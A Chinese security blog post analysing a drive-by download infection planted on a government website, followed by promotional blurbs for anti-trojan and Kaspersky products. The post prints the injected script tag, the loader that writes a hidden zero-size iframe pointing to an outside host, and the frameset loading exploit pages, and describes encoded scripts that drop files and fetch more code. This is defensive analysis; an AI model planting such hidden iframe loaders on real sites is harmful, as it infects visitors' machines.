今天浏览前几天说的那个被加入恶意代码的政府网站（详见： 某政府网站被加入的自动下载病毒文件的代码变了花样（第1版） ），又发现了新花样。
政府网站首页加入的代码为：
＜script language="JavaScript" src="hxxp://www.***snqc.cn/images/mail.js"＞＜/script＞
mail.js的内容为：
document.write("＜iframe src=hxxp://www.***snqc.cn/images/error.htm width=0 height=0＞＜/iframe＞");
error.htm的内容为：
＜frameset rows="444,0" cols="*"＞
＜frame src="hxxp://help.3721.com/error.html" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0"＞
＜frame src="top.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0"＞
＜frame src="gif.htm" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0"＞
＜frame src="hxxp://help.3721.com/error.html" frameborder="no" scrolling="no" noresize marginwidth="0" margingheight="0"＞
＜/frameset＞
top.htm 瑞星报为：Exploit.VBS.Phel.z，江民KV报为：Exploit.VBS.Phel.ab，Kaspersky报为：Exploit.VBS.Phel.be。
gif.htm 瑞星报为：Exploit.HTML.Mht，江民KV不报，Kaspersky报为：Exploit.HTML.Mht。
top.htm的内容是用escape()加密的脚本。此脚本会尝试生成文件c:\WINDOWS\Help\apps.chm，自动下载：hxxp://www.***snqc.cn/images/tzd.js。
tzd.js的内容也是用escape()加密的脚本，其中部分代码使用escape()加密了两次。此脚本会尝试生成文件C:\AUTOEXEC.COM，c:\NTDETECT.hta。
您当前的位置：
《Windows木马清道夫》是一款专门查杀并可辅助查杀木马的专业级反木马信息安全产品，是全新一代的木马克星！《Windows木马清道夫》可自动查杀数十万种木马，拥有海量木马病毒库,配合手动分析可近100%对未知木马进行查杀！它不仅可以查木马，还可以分析出后门程序,黑客程序等等。它专业的分析功能，完美的升级功能，使您不再惧怕木马，让您远离木马的困扰
卡巴斯基单机版（Kaspersky Anti-Virus Personal）是俄罗斯著名数据安全厂商Kaspersky Labs专为我国个人用户度身定制的反病毒产品。这款产品功能包括：病毒扫描、驻留后台的病毒防护程序、脚本病毒拦截器以及邮件检测程序，时刻监控一切病毒可能入侵的途径。产品采用第二代启发式代码分析技术、iChecker实时监控技术和独特的脚本病毒拦截技术等多种最尖端的反病毒技术